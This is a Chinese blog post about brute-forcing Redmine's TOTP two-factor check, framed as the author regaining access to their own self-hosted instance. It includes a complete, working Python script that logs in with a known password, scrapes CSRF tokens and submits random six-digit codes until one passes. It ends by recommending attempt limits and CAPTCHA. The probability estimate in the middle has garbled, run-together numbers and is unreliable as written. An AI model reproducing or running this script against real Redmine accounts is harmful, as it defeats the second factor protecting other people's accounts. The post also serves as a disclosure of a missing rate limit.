Redmine 是一款 开源、灵活的项目管理工具,基于 Ruby on Rails 框架开发。它专注于帮助团队高效管理项目任务、协作和资源,尤其适合软件开发、产品管理、IT运维等领域。本文介绍了由于Redmine对于TOTP验证不会进行人机验证,从而导致的BruteForce TOTP的可行性。
一、起因
本人在本地自行搭建了一个Redmine服务,并且为自己注册了账号,开启了OTP功能,使得在登录输入完密码后,需要进行TOTP验证,TOTP验证码是足够复杂且不可预测的,具体可以看这里Time-based one-time password - Wikipedia。
但是由于本人没有对 Authentication App 进行数据备份,在之后的一天,TOTP密码丢失,我再也无法登录自己的Redmine服务。
由于Redmine的特性,并没有在开启TOTP的时候立即生成恢复密钥(随机的几串固定文本,每一串都可以当作TOTP码来进行登录,不过每一串都只能使用一次),而是在开启后手动选择生成恢复密钥。
而且生成backup code的时候也要输入一次TOTP Code来验证身份。
于是我就想到了暴力破解TOTP Code(虽然我是自己搭建的,但是我还是选择了想方设法不在服务器上恢复)。
二、经过
对Redmine前端进行分析,发现在login输入密码,点击确定后,如果开了OTP,后端会返回一个302 Status Code,意味着重定向
显然,当前页面会被重定向到 /account/twofa/confirm 路由,即2fa验证页面。
然后输入3次,如果都失败了就退出登录状态,否则只要验证成功,就会302继续跳转,跳转到登陆后的主页。
所以我们完全可以使用Python来完成自动化爆破,我们随机尝试000000~999999之间的数字即可,而且由于Redmine没有任何防爆破的操作,并且爆破不会影响正常登录,我们可以在隐匿的状态下完成。PoC如下
import httpx
import json
import random
import time
URL = "http://your.redmineservice.net"
USER_NAME = "admin"
USER_PASS = "test@1234"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"
cook = httpx.Cookies()
def redmine_login(session):
page_login = session.get(f'{URL}/login', timeout=httpx.Timeout(None))
page_login = page_login.text
# get csrf
b = '<input type="hidden" name="authenticity_token" value="'
token = page_login[page_login.find(b)+len(b):page_login.find('" autocomplete=', page_login.find(b))]
logret = session.post(f'{URL}/login', timeout=httpx.Timeout(None), data={ "authenticity_token": token,
"utf8": "%E2%9C%93",
"username": USER_NAME,
"password": USER_PASS,
"login":"Login"},
headers={"Referer":f"{URL}/login",
"upgrade-insecure-requests": "1",
"user-agent": USER_AGENT})
if logret.status_code != 302:
# login failed
print('login failed')
print(logret.text)
raise Exception('Login Failed')
while True:
page_login = session.get(f'{URL}/account/twofa/confirm', timeout=httpx.Timeout(None), headers={
"Upgrade-Insecure-Requests": "1",
"Referer": f"{URL}/login",
"user-agent": USER_AGENT,
}).text
token = page_login[page_login.find(b)+len(b):page_login.find('" autocomplete=', page_login.find(b))]
code = str(random.Random().randint(0, 999999))
code = code.rjust(6, '0')
print(f'trying code: {code}')
logret = session.post(f'{URL}/account/twofa', timeout=httpx.Timeout(None), data={"authenticity_token": token,
"twofa_code": str(code),
"submit_otp":"Login"}, headers={"Referer":f"{URL}/account/twofa/confirm",
"upgrade-insecure-requests": "1",
"user-agent": USER_AGENT})
loca = logret.headers['Location']
if loca.endswith('/account/twofa/confirm'):
continue
elif loca.endswith('/'):
break
elif loca.endswith('my/page'):
print("success, cookie = ", logret.cookies)
exit(0)
else:
print('error location')
print(loca)
raise Exception('Location Wrong')
attemp = 0
session = httpx.Client(cookies=cook)
while True:
try:
while True:
attemp += 1
print(f"round {attemp}")
redmine_login(session)
except:
# reconnect
session = httpx.Client(cookies=cook)
在跑代码的期间,我让AI帮我算了一算要跑多久:
计算思路
由于 TOTP 每 30 秒更换 3 个新密码,爆破的成功概率取决于:
在同一个 30 秒窗口内,尝试的密码是否命中 3 个有效值之一。
如果没命中,则进入下一个 30 秒窗口,继续尝试。
成功概率分析
单次 30 秒窗口内的命中概率:
爆破尝试 30 次(每秒 1 次)。
每次尝试命中 3 个正确值的概率:31,000,0001,000,0003。
30 次均未命中的概率:(1−31,000,000)30≈e−0.00009≈0.99991(1−1,000,0003)30≈e−0.00009≈0.99991。
至少命中 1 次的概率:1−0.99991=0.000091−0.99991=0.00009(即 0.009%)。
平均需要多少个 30 秒窗口才能成功?
每次窗口的成功概率 p=0.00009。
期望窗口数 E=1/p≈11,111个窗口。
总时间:11,111×30秒=333,330秒≈92.6小时≈3.86天11,111×30秒=333,330秒≈92.6小时≈3.86天。
结论
在 1 次/秒 的爆破速度下,平均需要 ~92.6 小时(约 3.86 天) 才能成功命中一个有效的 TOTP 码。
三、结果
在程序跑了大概1周后,大概20w轮,程序登录成功,意味着我重新获得了账号所有权,不过如果我要关掉TOTP,我还需要再跑一次,这次我选择了在服务器上直接操作。
四、说在最后
TOTP的通病可能就在此处,不过如果加入限制次数或是验证码机制,爆破的可能性将会大大降低。